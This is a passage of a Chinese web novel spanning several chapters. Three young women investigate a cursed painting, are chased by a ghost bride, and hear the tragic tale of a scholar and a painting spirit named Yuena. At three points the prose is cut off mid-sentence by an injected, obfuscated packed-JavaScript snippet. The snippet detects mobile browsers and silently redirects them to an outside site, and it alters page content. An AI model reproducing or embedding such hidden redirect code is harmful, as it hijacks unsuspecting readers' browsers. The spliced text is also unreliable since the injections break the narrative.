苏潋影等人先去了前厅找夏老爷问起百子图的事儿,谁知这老爷子还是个健忘症,根本不知道是谁送的,三人又去找管家核对送礼清单。 自夏府出来后,几人面面相觑。 慕容纤道:“送百子图的总共三人,城南的李老爷、城西的王员外,还有城北的张老板,而夏员外悬挂的那幅百子图恰巧是张老板送的,现在直接去找他恐怕不太妥当。” 苏潋影凝眉细思一阵,忽然之间一拍手:“哈,我有办法了,就说他前几天送出去的画经鉴定是前朝茗嫣公主真迹,我们几人呢都是宫廷画师,现在请他去当面确认一下。” 楚纤茉面带犹豫:“这样真的可以嘛?不会被轰出来吗?” 苏潋影一拍身边的慕容纤:“先礼后兵,等会儿我要是跟那张老板说不通,纤纤你就进去给他叮咣一顿揍,我不信他不老实交代。” 慕容纤抱着长剑立在一边,对狗头军师的话居然也深表赞同,一扬手表示自己没问题:“打架什么的我最擅长了。” 然后几人边打听边走,不多久摸到了张老板家里,慕容纤、楚纤茉在外面等着,苏潋影背着手迈大步就进去了,见到张老板拱手就道喜。 张老板手里正盘着两颗玉珠,听到这话小眼珠骨碌碌一转,笑起来见牙不见眼:“不知老夫喜从何来呢?” 苏潋影娓娓道来:“张老板有所不知啊,前几日夏老爷寿辰,您送了一幅百子图过去,本是好意不料这画却给夏家惹了大祸——” 话没说完只见张老板一张乐呵呵的财神脸顿时垮了下来,吹胡子瞪眼:“听姑娘这意思,是老夫蓄意谋害夏家不成?” 苏潋影一卡壳:“不是,我——” “管家,送客!以后不许再放闲杂人等进来!” 砰—— 苏潋影站在张府紧闭的大门外吹着小凉风,头顶飘过去一串省略号。 “话都不让人说完就关门送客,这都什么素质!我说是你干的了吗?这么着急撵人你是不是心虚啊!” 慕容纤、楚纤茉一左一右将气急败坏站在门口骂大街的苏潋影拖进了小巷子。 苏潋影蹲在地上薅头发,慕容纤抱着长剑走来走去似乎也有点无计可施,本来好好的,但让苏潋影这么一捣乱张老板直接拒绝沟通了。 苏潋影抬头瞪着还在踱步的慕容纤,气呼呼道:“说好了先礼后兵,你怎么放我鸽子啊,你抱这么长一把剑当玩具使啊,进去吓唬吓唬他也好啊。” 呵,我又不傻,打人的活让我上,万一把自家门派的名声搞臭了,我师父能抽死我你信不信? 慕容纤低咳两声,正色道:“其实也不是完全无计可施,张老板生意人嘛,无利不起早,去周边打听一下他的喜好,买点东西上门道个歉这事儿也就过去了,俗话说得好,吃人嘴软、拿人手短,收了你礼物总不会再撵你出来吧?” 去周边一走访才知道这张老板人品有多次,贪小便宜卖假货,缺斤少两那都是家常便饭,还抠的要命,瓷公鸡铁仙鹤玻璃耗子琉璃猫,那是一毛不拔,出门只要不坑别人就觉得是自己吃亏上当了,三个儿子个顶个让他撵出去自力更生了。 苏潋影忍不住又开启了嘴炮模式:“就这玩意儿还舍得给别人送寿礼?我现在都怀疑那幅百子图是他自个画的,还吹什么大家手笔,鬼知道哪个地摊上淘的便宜货。” 楚纤茉听她这么说似乎也想起了什么:“苏苏你这么一说我也想起来了,的确,这些东西在地摊上买很便宜的,因为都是二手货和赝品,所以通常十文钱能买三件。” 苏潋影听得只翻白眼:“还十文钱三件,搞批发呢?你说这张老板还是个人?” 吐槽归吐槽,三人还是来到了天桥底下找线索,那小地摊从桥上摆到了桥下,卖葱的卖蒜的、卖米的卖面的、卖鸡毛掸子卖掏耳勺的……打眼一望人头攒动,讨价还价的声音简直能把耳朵震聋了,踩着桥底的烂泥沿河道往前走,提着裙摆还是沾到了臭塘泥,鞋子更是脏得丢地上就能卖废品。 苏潋影这辈子就没受过这个苦,说好了万花丛中过片叶不沾身呢?哪家女侠是这么出场的?我现在好像一只跳进泥塘里的粉红色儿吹风机…… 好不容易找到了几个卖字画的小摊子,挨个儿问吧,鉴于上次吃过人情世故的亏,这回大家都长记性了,打听线索的时候要顺便跟摊主买点东西,于是小半个时辰后,苏潋影抱着全套十本的《花自飘零水自流》砖头那么厚的实体书,脑袋发晕钱包空空地回来集合了。 “说出来你们可能不信,我好像被老板下降头了,等醒过神来已经结账了,还说等出续集了一定给我留下作者亲签还送货上门。” 慕容纤和楚纤茉也没好到哪儿去,一个拿了幅梅花图,一个拿了本中草药入门包教包会…… 慕容纤无语至极,但也算得到了有用情报:“刚才卖字画的老板说了,前几天张老板的确从隔壁王秀才的母亲那儿买了幅百子图,因为便宜。还有就是,王家出事儿了,王秀才谋害知县千金下了大牢,听说证据确凿,不久就要问斩了,这会儿我打算去城南王秀才家里看看。” 苏潋影听得脸色苍白:“这案子是越来越有盼头了,走吧走吧,今天就是跑腿的命,但愿真相能早点浮出水面。” 王秀才家里破破烂烂,栅栏门歪歪扭扭拿绳子系着,围墙要倒不倒拿几根木棍支着,院子里晾着几十本旧书,字画铺开在地上拿石头压着。 “有人吗?王大娘在家吗?” 苏潋影扯着嗓子喊,不敢敲门,害怕敲塌了没地方说理去。 里面的老太太拄着拐杖颤颤巍巍出来了,给几人开了门,慕容纤客套了几句便问起了那幅百子图的事情。 王大娘摇摇头,她发髻松散,面容憔悴,瘦得仿佛一捆柴火:“我也不清楚啊,冰儿这些画有些是他自个儿画的,也有从别人手里买的,卖给你们的画有什么问题吗?” 老太太不自然地两手搅着衣襟,显然是把苏潋影等人当成了上门找事的主顾。 慕容纤摇摇头,扶着老人到旁边的石凳上坐下,微笑着道:“您别着急,既然这画都是您儿子的,我们想着去见见他,当面问清楚这画的来龙去脉,还请您带我们去一趟府衙。” 慕容纤拿了一些散碎银子塞到了王大娘手里,老太太千恩万谢带着三人去了府衙,亲属是有探监权的,慕容纤等人冒充是王秀才的亲戚,顺利混入了府衙大牢。 王秀才,姓王名冰字子澈,父亲早亡,母亲抚养他长大,王冰勤奋好学,发奋图强,平时靠卖一些字画维持家计,十七岁考中了秀才家境才得以好转,知县看此人大有前途,于是将独生女儿嫁给了他,却不知为何,半个月前知县千金的死因忽然被推翻,原本以为是流产大出血致死,谁知居然是王冰给妻子下了堕胎药,王冰也是供认不讳,于是被收押准备秋后问斩。 慕容纤看着一见面扶着铁栏痛哭不止的王冰母子,只觉得匪夷所思,王冰虽然考中了秀才,但家境贫寒往后再往上爬只能继续寒窗苦读,知县看中了他,那么他一朝成为人上人,前途无量,说不定借岳父的势力以后还能平步青云,怎么就沦落为杀人犯了? 好容易打发走了肝肠寸断的王大娘,慕容纤凑到铁栅栏前,蹲下身跟蓬头垢面的王冰说话。 这人现在虽然衣衫褴褛、邋里邋遢,但看得出五官周正,收拾收拾定也能担得起一表人才这个词。 慕容纤半蹲在铁栅栏外面,轻声道:“我们此来不是为了问你谋害你妻子一事,而是想问你,你的画里有一幅百子图,究竟是何来历?” 王冰听闻此言眸中有怒火迸溅,几乎是咬牙切齿道:“那个毒妇不是我的妻子!” 站在慕容纤身后的楚纤茉被这突如其来的一声怒吼吓得倒退一步,慕容纤倒是八风不动,依旧抓着主题:“杀人偿命、欠债还钱,你们之间的恩怨与我无关,我想知道那幅百子图你从何而来?” 王冰沉默半晌,垂首不语,将脑袋埋进膝盖里,半晌才缓缓抬起头来,嗓音干涩道:“是我画的……” “撒谎!” 慕容纤直视着他的眼睛,神色冰冷道:“既然是你画的,为什么不一开始就承认?你想包庇这个作画之人,这么说来,画百子图的这个人的确是心怀不轨了?” “没有!”王冰瞬间直起了身子,矢口否认,最后看着慕容纤冰冷的眼神又萎顿下去,长长地舒了一口气,摊开掌心,手里握了一朵干瘪的梅花,他叹气,眼眸湿润了起来。 “月娜她,的确非同常人,但她绝无害人之心……” 慕容纤等人面面相觑,王冰自顾自地讲了下去,她们三人谁也没有打断。 …… 等从府衙大牢出来,天已经快黑了,三个人几乎都是表情凝重,不约而同往城南王冰家里去,原本老旧的房屋看起来更加破败了,屋子里没有灯、院子里却还摆着字画,厨房门吱呀一声打开了,一个老太太颤颤巍巍从里面出来,手里还夹着两个发霉的窝头,仿佛没看见她们似的,走到门口笑着招呼道:“冰儿回来了,快洗洗手准备吃晚饭,娘给你蒸了窝头,冰儿最喜欢吃窝头了……” 老太太说完又转身,迈着小脚往正屋里走,仿佛前面真的走着她的儿子。 慕容纤等人跟着老太太走了进去,正屋结满了蜘蛛网,灰尘很厚,显然已经许久没有住人了。 “这屋子里好黑啊,连个灯都没有吗?我们怎么找那幅古画?” 楚纤茉的声音从黑暗里传来。 “无妨,等我贴张离火符。” 慕容纤刚拿出离火符的一刹那苏潋影忽然惊叫一声,她指着敞开的窗户:“刚才有人过去了,不是那个老太太!” 楚纤茉吓得紧紧抱住了苏潋影的胳膊,根本不敢往窗户那边看,几乎将脸埋进了苏潋影怀里,颤声道:“是月娜吗?” 慕容纤念动咒语,发现离火符着不起来了,她心里咯噔一声也是吓出了一脑门的汗:“不对,快离开这间屋子!” 可是已经来不及了,房门忽然被一阵阴风吹得闭合起来,窗户也关上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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越急越是打不开房门,楚纤茉也不知道女鬼哪来的锁,给房间从里面锁上了,拿小刀别不开、发簪也捅不开,现在就剩苏潋影还有战斗力,跟女鬼缠斗在一起,慕容纤在苏潋影的掩护下到处在房间里找钥匙,眼见苏潋影都快让女鬼逼到墙角了,慕容纤急出了一头汗,忽然一阵阴风吹来,哐当一声,挂在西墙上的画和藏在画卷后面的钥匙一起掉了下来。 慕容纤眼前一亮,几乎是几步之间飞速跑过去弯腰去捡,她刚伸出手,忽然感觉一阵刺骨寒意窜上手背,一只小巧玲珑的鸳鸯红绣鞋踩住了钥匙,红裙无风自动,轻飘飘的仿佛纸张,空气凝结了,三人谁也不敢动,屋子里只剩下急促的呼吸声。 慕容纤感觉头顶吹来一股阴冷的风,似乎是一只手正在缓缓朝她头顶压下,就在女鬼的白骨爪快要碰到慕容纤的头顶时,一道鞭影卷着一面火红的旗子精准地打到了女鬼的那只手,刹那之间火焰四起,差点烧到慕容纤的头发,女鬼被裴暮雪绘制的离火旗烧得退后一步,发出了尖利的嘶吼声,慕容纤抓住这个空隙一记扫堂腿将地上的钥匙踢给了苏潋影。 但这面离火旗跟阵法显然没法比,不消片刻女鬼就脱离了束缚,一条袖子被火焰烧成灰烬,裸露出来的手臂也是森森白骨,在女鬼再次追上来前,苏潋影终于打开了房门,外面月色如水,房间里霎时间光线一亮,她们终于看清了女鬼的全貌,那是一个穿着火红嫁衣的新娘子,盖着金丝喜帕,身上贴着各种样式的黄符纸,此时她那条裸露在外的白骨手臂上源源不断地冒出黑烟,青黑色的指甲似乎又长长了一寸,显然是被激怒了。 苏潋影、楚纤茉都在门口容易逃出去,但在里面捡钥匙的慕容纤就难说,三两步的距离很容易让鬼新娘追上,苏潋影一咬牙甩出鞭子缠住了慕容纤的腰打算将她拽出来,慕容纤也会意,打算借力逃出房间,但还是慢了一步,鬼新娘再次扑了上来,十指如钩狠狠抓向了慕容纤的后脑勺,慕容纤只感觉顺着后脖领窜上一股凉意,仿佛是有人狠狠将她向前推了一把,苏潋影拼命往前拽鞭子,前后夹击慕容纤几乎是飞出了屋子。 三人根本不敢稍作停留,玩了命地往夏府跑,已经戌时了,街上基本没什么人,唯有三个刚逃过一劫的小朋友正以狗撵腚的速度向夏府冲刺,那鬼新娘就跟疯狗一样在后面追,让她逮到后果可想而知…… 起先守在夏少夫人房里的裴暮雪还以为是厉鬼拍门呢,因为夏府的人这会儿都在屋里眯着,听了他的话压根没人敢出来,没想到打开大门见到三根软面条状的东西齐刷刷瘫软在地,个个汗流浃背宛如三条凉拌死狗,其中一个伸出颤抖的手拽住了他的道袍衣摆,抬起苍白的脸气若游丝:“后面……后面有个……” 见此情形,裴暮雪作为某人的亲师兄,按捺许久还是没有压住上扬的嘴角,毫不留情地大声嘲笑:“这不是我那天不怕地不怕的小师妹吗?怎么让区区一个鬼新娘撵得跟三孙子似的?” 慕容纤费力地爬起来,好不容易喘匀了,气不打一处来:“什么叫区区一个鬼新娘?我那紫霄剑让她徒手拧成麻花了,你行你上!” 裴暮雪大模大样站在夏府大门口,勾勾手招呼距离他们十几步开外的鬼新娘,跟叫狗一样:“来来来,道爷跟你过两招。” 然后就见那鬼新娘红影一闪,就那么干脆利落地……消失了。 裴暮雪无奈地叹口气,似乎很是遗憾,转头看向慕容纤,摊开两手:“我起手式都摆好了,人家姑娘不给面子啊。” 慕容纤气得五官挪移,忽然裴暮雪神色一凛,转身就往西厢房跑,普通人只能看见一道残影。 30. 拿人钱财,与人消灾 苏潋影和楚纤茉已经累瘫了,手脚并用爬进了院子里有出气没进气,短期指望不上她们能帮忙了。 虽然那人比她这二把刀厉害了不止一个境界,但慕容纤到底还是担心缺德师兄的,咬牙赶到西厢房时,看到了满屋子都是穿得花花绿绿的小孩子,个个小脸白得发青,但脸上擦了一层红彤彤的胭脂,围着裴暮雪上蹿下跳却不敢触碰他。 裴暮雪一眼扫过去冷笑道:“哟,才八十八个啊。” 慕容纤虽然有点膈应这些小鬼,还是问:“要把剩下的十二个找出来吗?” 裴暮雪一摆手:“不,找孩儿王,应该是八岁左右。” 这些穿着青红皂白黑的五福小鬼个个只有三岁孩童大小,孩儿王要比它们大五岁,怪不得能当小霸王。 可是慕容纤在屏风后,抽屉里,柜子里反复找,被藏在里面突然冒出来的小孩吓得不轻,却始终没能找到孩儿王。 她累得香汗淋漓,刚想坐下歇歇,猛地一抬头就看见房梁上坐着一个黑影,两只穿着寿鞋的小脚晃来晃去,像小孩荡秋千一样惬意,一张惨白的脸正凝视着下方。 “啊!它在上面!”慕容纤惊叫一声。 孩儿王跳了下来:“真是两个笨蛋!这么久才找到我。” 裴暮雪冷笑道:“最后一次怎能不让你玩得尽兴?如愿以偿了就上路吧。” 孩儿王胆寒于他手里白光乍现的拂尘,悄悄退后几步,裴暮雪看在眼里不觉冷笑。 “臭道士!我当我的孩儿王碍着你什么了?” 裴暮雪:“小鬼头,还敢狡辩?你藏在这百子图中意欲何为?少夫人即将生产,你想鸠占鹊巢对也不对?” “证据呢!” 裴暮雪广袖一抖,用两指夹住了一张轻飘飘的小纸片,上面写着一个日期,元殇年八月十五日子时一刻。纸片的形状是一个张牙舞爪、黑乎乎的鬼娃娃,张着血盆大口,令人毛骨悚然。 孩儿王拔腿就要跑,裴暮雪一拂尘扫过去绊倒了它,右脚踩在了它背上,孩儿王发出一声惨叫,原来裴暮雪的登云靴上绣满了咒文,此时靴底与孩儿王接触的部分正发出淡淡的白光。 裴暮雪的斩煞刀已经斜在了孩儿王扎着两个小圆髻的脑袋旁。 孩儿王两只小手乱扑腾着,死到临头知道求饶了,一改之前缺乏家教的嚣张样:“道长哥哥!放过我吧!我知道错了!” 裴暮雪嗤笑一声:“我还是喜欢你叫我‘臭道士’时那桀骜不驯的模样。” 斩煞刀已经缓缓提了起来,就听一女子声音尖锐道:“裴道长不可!” 一道人影闪身进了厢房。 裴暮雪定睛一看原来是林瑶,颇有些意外道:“不知林姑娘深夜到此有何贵干。” 孩儿王看着眼前的白衣女子眼珠子咕噜噜转了几圈终于想起来了:“表姐!表姐救我!” 裴暮雪冷眼旁观。 林瑶顾不上去看孩儿王,急切向手持利器的裴暮雪解释道:“他叫夏明钰,是我的表弟,八年前被人所害抛尸枯井,如今恰逢那人临产,他自是想要为自己报仇的,裴道长,还望你手下留情,看在我的薄面上放他一马。” 裴暮雪的斩煞刀依旧钉在地上,人也是似笑非笑道:“林姑娘,若是他活着想怎样我都管不着,但是身为阴灵想害活人性命,而且还是两条人命,这我可不得不管。” 林瑶急了:“裴道长!” 裴暮雪打断她道:“裴某不怕芙蕖观与你星辰宫交恶,夏少夫人作恶多端,待她百年之后自有冥界例律惩治,或者姑娘现在就可以去官府告她。至于这阴童,裴某既然接了这活儿就会负责到底。” 眼看斩煞刀就要落下,郁霄忽然进来了,将一包东西扔了过来,裴暮雪用刀鞘接住了,那是一个贴着符咒的宝蓝色乾坤袋。 “六界通宝?宴世子居然舍得一掷千金从我手中买这阴童的小命?”裴暮雪看着那鼓鼓囊囊的荷包微微一挑眉。 “嫌少?”一身蓝袍的郁霄长身玉立,站在林瑶侧后方,一副有恃无恐的模样。身为凤城世子自然无视这些身外之物,但这可是裴暮雪再过六十年也挣不来的飞来横财。 裴暮雪见好就收,呵呵笑道:“成交!” 然后转头扔给慕容纤一句:“纤纤,把夏家的买命钱退了,撤。” 慕容纤白眼差点翻到天上去了,为师兄没有下限的节操所折服,不过事情既然另有隐情她也不好再插手,随着裴暮雪一起离开了。 郁霄用不屑的目光看着离去的那道玄衣身影,到底是名门贵族出身,一句讽刺的话也没说,反而是走上前去轻声安抚着林瑶:“林姑娘,逝者已矣,错并不在你,你想开一些。” 林瑶刚想去看孩儿王,它一个鲤鱼打挺翻起来就跑,只余一道黑色残影扭过头冲她吐舌头:“表姐!我可不想束手束脚地待在你身边,再见咯!” 林瑶刚抬起手孩儿王就恶狠狠道:“怎么,你还想打我吗?来呀来呀,最好打得我魂飞魄散,我看你死后怎么跟我阿娘交待!” 狡猾的孩儿王趁林瑶失神忽一下就不见了。 本来郁霄是想动手的,可是见林瑶失魂落魄的模样又作罢了:“林姑娘,你还好吗?” 林瑶点点头,将一个令牌递向郁霄。 郁霄惊疑不定:“通行玉令?你这是做什么?” 林瑶木木道:“烦请你替我交还国师吧,我决意退出星辰宫。” 郁霄不可置信地看向夏明钰逃跑的方向:“为了他?” 林瑶苦笑道:“我不能看着他胡作非为,万一又被别的仙友抓到……” 郁霄目露哀戚:“护着一个狡诈的阴童子,你会身败名裂的……” 林瑶转身看着他,轻轻摇摇头,一双美目清泪粼粼:“纵使如此,我也认了,这些年里我总是会想起明钰,若当年我能护住他该有多好啊……时至今日,是我该尽的责任,后会有期。” 他站在原地看着那道白衣身影渐行渐远融入夜色之中,目光渐渐晦暗下来。 一招手,自暗处闪出一个幽灵般的燕卫恭敬垂首施礼:“殿下!” “拿着我的玉印去鬼市发道悬赏,要办得干净利索。” 翌日。 苏潋影把紧紧缠在自己身上的楚纤茉叫醒了。 楚纤茉做了一晚上噩梦,醒来还有点神情恍惚:“怎么呢苏苏?” 苏潋影正咬着发带束发,含糊不清道:“去王家老宅把古画捡回来。” 楚纤茉愣了一下,随即反应过来当时就清醒了,欲哭无泪道:“苏苏,要不就算了吧,万一那个女鬼还在老宅里怎么办?” 苏潋影已经扎好了头发,顺手把梳子递给楚纤茉,坐在床边拿着一面小镜子左瞧瞧右看看,拨弄一下刘海儿美得不行,她这个喜欢照镜子的毛病算是顽疾了,只要能反光的东西都喜欢去照照,包括但不限于:水池子、玻璃窗、金属表面、甚至是别人的眼珠子…… 某次在路上走着,一阵大风刮过,苏潋影按着楚纤茉的肩膀一脸严肃道:“别动,对,就这样,保持住别眨眼,我看看我发型乱了没……” 四个字形容就是丧心病狂! 姐们自恋到恨不得抱着镜子睡,对着自己水里的倒影能聊半天,甚至吃饭都要对着镜子一小口一小口地吃,被爹妈骂得狗血淋头这情况才有所好转。 楚纤茉已经收拾好了,苏潋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489963|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影终于舍得放下小镜子,站起身拍拍她的肩膀道:“走了,大白天的你怕啥,实在不行我去借条黑狗给咱俩壮壮胆?” 楚纤茉疯狂摇头,对于她来说,某种程度上狗跟鬼也没什么区别。 楚纤茉磨磨蹭蹭,最后还是被苏潋影拽出了夏府,林瑶已经离开了,她俩也没有留下的必要了。 “慕容姑娘呢?”楚纤茉问道。 苏潋影脚步轻快、走走停停,一会儿跳起来够墙头垂下的粉蔷薇,一会儿逗逗别人家看门的狗,简直没一刻是安分的。 “跟裴道长一起回鸢歌了,瑶瑶姐好像也有事,世子貌似回凤城了,所以啊,现在这个重任只能落在我俩身上了。” 楚纤茉忽然记起来好久不见白洛溪了,连忙询问。 苏潋影食指勾着垂落胸前的一绺头发绕圈圈:“小白这两天一直在妒妇津守着呢,万一再有人落水他也好抓住幕后黑手,咱这就叫做双管齐下啥事都不耽误。” 说话间已经来到了阴气森森的王家老宅,现在这宅子的模样已经完全不是她们昨天白天见到的模样了,破败不堪、灰尘遍布,仿佛已经好几个月不曾住人了,残破的书页、字画挂在篱笆墙上,栅栏门轻轻一推啪一下倒在了地上,激起厚厚的尘土,苏潋影连忙跳到后面拿手帕包住头,等灰尘散去才进院子。 轻车熟路地到了正屋,房间里还保留着昨晚激烈的打斗痕迹,苏潋影捡起了地上半卷着的画卷,缓缓打开,卷面上是一树梅花,瑞雪覆盖遒劲的枝干,丹纱吐蕊、傲雪欺霜,白雪茫茫的原野上隐隐约约有一道红衣女子的单薄背影…… 而楚纤茉却在地上发现了几粒碎银子,以及一滩乌黑的血迹,她们三人昨晚并没有在老房子里受伤,这血迹又是谁的? 苏潋影拉着她的手往外面走去:“快到午时了,王冰今天斩首,我们把这幅画带给他吧。” 刑场人头攒动,围得里三圈外三圈水泄不通,台上左右立着刽子手,中间跪着囚犯王冰,对面监斩台上面目阴沉的知县紧紧盯着沙漏,似乎恨不得立即将王冰处死。 王冰的脸上没有一丝惧怕,却时不时望向人群,似乎在等什么人。 第三声追魂炮响,右边的刽子手动作娴熟地摘下了他身后的亡命牌掷在地上,王冰闭上了双眼,脸上露出一丝遗憾。 就在这时人群一阵骚动,有衙役大喊着“有人劫法场了!” 王冰猛然睁开眼睛,一卷画轴被人抛到了他面前,正好打开,画上的红衣女子映入他眼帘,鲜活得仿佛那年初见,他嘴角勾起了一抹笑意。 “斩!”知县甚至不顾法场上忽然闯入的不速之客,扔下了火签令,他对这个害死自己女儿的凶手恨之入骨,若不是朝廷律法在上,半个月前他就想将这个畜生千刀万剐了。 下一刻,古画上朵朵红梅绽开,王冰人头落地。 苏潋影见事情完结,拉着楚纤茉猫腰就往人群里钻,一队衙役正好拦在面前,凶神恶煞道:“站住,例行检查,刚才有人企图劫法场!” 苏潋影装得跟大瓣蒜一样,两手捂着嘴巴慌乱看看左右:“啊,那我会有危险吗?” 这个衙役旁边有个同伴顶了下他的肩膀,笑得痞里痞气:“跟两个小姑娘浪费时间干嘛?这浓眉大眼的能干出违法乱纪的事吗?” 苏潋影赞同地点点头,下一秒就让那个凶巴巴的衙役拽脖领子给拎起来了。 “别以为我眼神不好使,上次就是你来探监的,今天那画也是你丢出去的,有什么话回去跟知县大人解释吧!” 不是,就这么个小破地方哪来的黑猫警长啊? 得亏我后台够硬,蹲了半天的橘子,郁霄世子就来领人了。 31. 古画 王冰是个贫穷的小伙子,长相不是特别出众,每天早出晚归,经营着自己那小小的书画摊,不论酷暑严寒都着一身青衫,那衣服是冠礼时咬牙做的,陪伴了他无数岁月,如今磨损得特别厉害,外面的褂子磨坏了,母亲就拆拆补补,把里面的好料子换到外面。 有一天他冒雨回家,一个人叫住了他。 公子,看看画吗? 唉,我连吃饭的钱都快没了,眼看下个月又揭不开锅了,哪有闲钱买画? 公子,看看吧,三文钱一幅,很便宜的! 王冰看着那老婆婆,年迈苍苍,缩在一把旧伞下面,两鬓如霜沾着露珠般的雨点,像只可怜的老猫,在萧索的秋雨中瑟瑟发抖…… 也罢。 他叹了口气,买了一幅画,甚至没看是什么内容,拿衣襟裹了裹夹在腋下,匆匆离去。 看着老母吃完饭,他耐着饥饿回到房间,开始读书,但是晦涩难懂的知识令他犯困,好容易捱到三更,终于放下书本打算上床睡觉,忽然看到搁在破旧床褥上的一筒纸卷。 哟,那幅画! 他本来没抱多大幻想,三文钱的画能好到哪里去。 但,毕竟,也是用一顿晚饭钱换来的,他找了个合适的位置,自己书桌后的墙面,端端正正地贴了上去,欣赏着这幅白雪红梅图,虬结的树根前,茫茫雪原里影影绰绰立着一个人影…… 王冰晚上睡觉居然闻到了阵阵梅花香。 第二天回家,他看见自己家里多了一个穿红衫子的姑娘,十六七的年貌,体态婀娜,杏眼桃腮,正坐在炕沿边上跟他母亲说话,手里飞快地补着一件衣服,那正是王冰的衣服。 他脸皮薄,脸唰一下就红了。 姑娘早已看见王冰,噗嗤一声笑了:“是表哥回来了吗?舅妈且先坐着,我这就去张罗晚饭。” 王冰震惊极了,趁着姑娘去了厨房,急忙凑上去问自己母亲:“阿娘,那位是?” 王宋氏年纪大了,记不清事:“这个丫头啊是早上到咱家的,说是你舅舅的遗腹子,几个月前家里最后一位长辈也去世了,这才遵照你舅舅生前的嘱咐千里迢迢来到咱家,唉,也是个苦命的孩子。” 王冰暗想:“既然是表亲,为何以前从未来往?” 看着她在厨房里忙忙碌碌的身影又摇摇头:“我王冰穷小子一个,要钱要产都没有,人家能图我什么。恐怕是一个女孩子举目无亲无依无靠,这才找上了我们,也是个可怜人。” 姑娘手脚很勤快,吃完饭抢着去洗碗,王冰拗不过只好去看书了。 夜渐渐深了,万籁俱寂,此时房门被人敲响了,王冰以为是母亲急忙去开门,没想到看到了一张俏生生的面容。 表哥还不曾睡吗? 王冰吓了一跳,半夜三更这丫头好生没规矩! 她却自行往里走了,王冰不好意思不让。 表哥看的是策论? 是啊,妹妹也爱看吗? 她巧笑嫣然:“说出去怕表哥不信,妹子我看过的书比哥哥吃过的饭还多。” 是吗?不如你给我解释一下这段? 他本想刁难一下这个不知天高地厚的丫头,谁知她竟滔滔不绝,背着手在小小的屋子里摇头晃脑走来走去,洋洋洒洒一番见解听得王冰目瞪口呆。 立刻放下矜持跟妹妹请教,两人一讨论起学问忘乎所以,不知不觉居然都三更了。 王宋氏叫道:“月娜?月娜!这孩子……大半夜去哪里了,我得出去看看……” 姑娘玉面一红,立刻放下书跑了出去,临了回眸一笑,在一片昏黄烛光下如璀璨夺目的鲛珠、如朦胧月夜下悄然绽放的百合…… 王冰不觉看痴了。 以后月娜便夜夜伴着他读书,红袖添香,她经常能举一反三,如数家珍般将毫无关联性的东西串在一起,从此,书上乏味的文字妙趣横生,艰涩生硬的知识经过月娜的讲解如同潺潺的泉水流入脑海中,如同石板上的刻痕烙印在心里,再也不会忘却。 王冰本来就勤奋上进,有了名师的指点更是如虎添翼。 临考前他有些忧虑,月娜便拉着他出来游玩桃园。 王冰现在哪有心情做旁的事,恨不得废寝忘食,把眼珠子粘在书本上,他有预感,这次自己一定能蟾宫折桂! 推说自己还要去习书。 月娜嘟起了嘴,天天学还不把人学傻了?不差这一会儿了,来吧。 月白风清,月娜是那样可爱迷人,王冰按捺不下跟着她走出了屋子。 万一我落榜了…… 不会的,你的努力我都看在眼里呢。 出榜那天,很多富绅都在挑女婿,一看王冰的名字显赫地列在金榜第一,打听过后立刻将那个高高瘦瘦的年轻人三五个扯住了。 公子!娶妻了不曾啊? 公子,我家小女温良娴雅,相貌出众,与公子真是天作之合啊! 王冰立刻想到了月娜,姑娘夜夜陪着他读书,天下没有不漏风的墙,即便两人之间从未有半分逾越之处,发乎情止乎礼,但众口铄金,干干净净一个女孩子早已被邻居们说得不三不四了。 他实在对不起月娜,一心想着等自己考中秀才一定要报答她,若是月娜不弃,便三媒六聘娶她为妻。 他这么想着,急急推开那些抓住他的手臂,便想赶回家里。 少年英才,清癯如竹,温润如玉,出榜那一日,引得无数芳心为之暗许。 花烛摇曳,一双玉人双双对坐,一个娇羞妩媚,一个失魂落魄,红烛摇曳,朦胧的不知是烛光还是泪光,恍然又回到了自己的茅屋小舍,眼前一身红衣的可不就是笑靥如花的表妹月娜吗? 他掀开眼前笼罩的一片红云,看到的却是一张陌生的倾国倾城的面容,眼前的女子宛如富贵端庄的牡丹花,哪里是乡下丫头月娜能比的。 他的妻,是知县千金,不嫁官宦,不嫁富绅,却偏偏要嫁他这穷秀才。 千金小姐实在貌美,却也娇蛮任性,每时每刻都要王冰陪她游玩,拉着他参加各种各样的城中闺秀的聚会,宴席间低低娇咳一声,两只美目瞪他一眼,王冰便习以为常地夹起一筷子菜送到她嘴边,引得一阵恭维。 刘小姐真是幸福啊。 刘氏因为妒忌还打死了他房里一个奴婢,只因王冰对那丫头笑了一下。 王冰悔不当初,若是他当时竭力反抗,宁为玉碎不为瓦全,顶多被知县穿小鞋革除功名,大不了回到乡下跟月娜过着从前平平淡淡的日子,也好过现在,人在矮檐下,有苦说不出。 日日战战兢兢地伺候着自己的枕边人,看着她脸色行事。 不过,王冰的好日子很快也就来了,刘氏气大伤了身子,冬天跌了一跤后流产大出血而亡,知县气急败坏责令他没有照顾好自己宝贝女儿,将他下了大狱。 王冰时至今日才后悔不迭,哭泣自己的不幸,呼唤月娜的名字。 月娜啊月娜,好妹妹,是我负了你…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489964|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 